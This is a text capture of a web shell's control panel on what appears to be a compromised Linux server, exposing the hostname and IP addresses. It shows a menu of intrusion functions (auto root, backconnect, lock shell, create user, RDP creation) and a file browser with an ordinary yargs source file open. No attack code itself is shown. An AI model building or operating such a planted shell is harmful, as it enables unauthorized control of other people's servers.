Linux server2.hpierson.com 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
Apache
: 162.0.216.123 | : 216.73.216.54
28 Domain
?7.4.33
yvffpqmy
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
lib /
node_modules /
npm /
node_modules /
yargs /
lib /
[ HOME SHELL ]
Name
Size
Permission
Action
apply-extends.js
1.44
KB
-rw-r--r--
argsert.js
2.3
KB
-rw-r--r--
command.js
14.16
KB
-rw-r--r--
completion.js
3.14
KB
-rw-r--r--
levenshtein.js
2.12
KB
-rw-r--r--
obj-filter.js
269
B
-rw-r--r--
usage.js
14.53
KB
-rw-r--r--
validation.js
9.84
KB
-rw-r--r--
yerror.js
254
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : apply-extends.js
'use strict' const fs = require('fs') const path = require('path') const YError = require('./yerror') let previouslyVisitedConfigs = [] function checkForCircularExtends (path) { if (previouslyVisitedConfigs.indexOf(path) > -1) { throw new YError(`Circular extended configurations: '${path}'.`) } } function getPathToDefaultConfig (cwd, pathToExtend) { return path.resolve(cwd, pathToExtend) } function applyExtends (config, cwd) { let defaultConfig = {} if (config.hasOwnProperty('extends')) { if (typeof config.extends !== 'string') return defaultConfig const isPath = /\.json$/.test(config.extends) let pathToDefault = null if (!isPath) { try { pathToDefault = require.resolve(config.extends) } catch (err) { // most likely this simply isn't a module. } } else { pathToDefault = getPathToDefaultConfig(cwd, config.extends) } // maybe the module uses key for some other reason, // err on side of caution. if (!pathToDefault && !isPath) return config checkForCircularExtends(pathToDefault) previouslyVisitedConfigs.push(pathToDefault) defaultConfig = isPath ? JSON.parse(fs.readFileSync(pathToDefault, 'utf8')) : require(config.extends) delete config.extends defaultConfig = applyExtends(defaultConfig, path.dirname(pathToDefault)) } previouslyVisitedConfigs = [] return Object.assign({}, defaultConfig, config) } module.exports = applyExtends
Close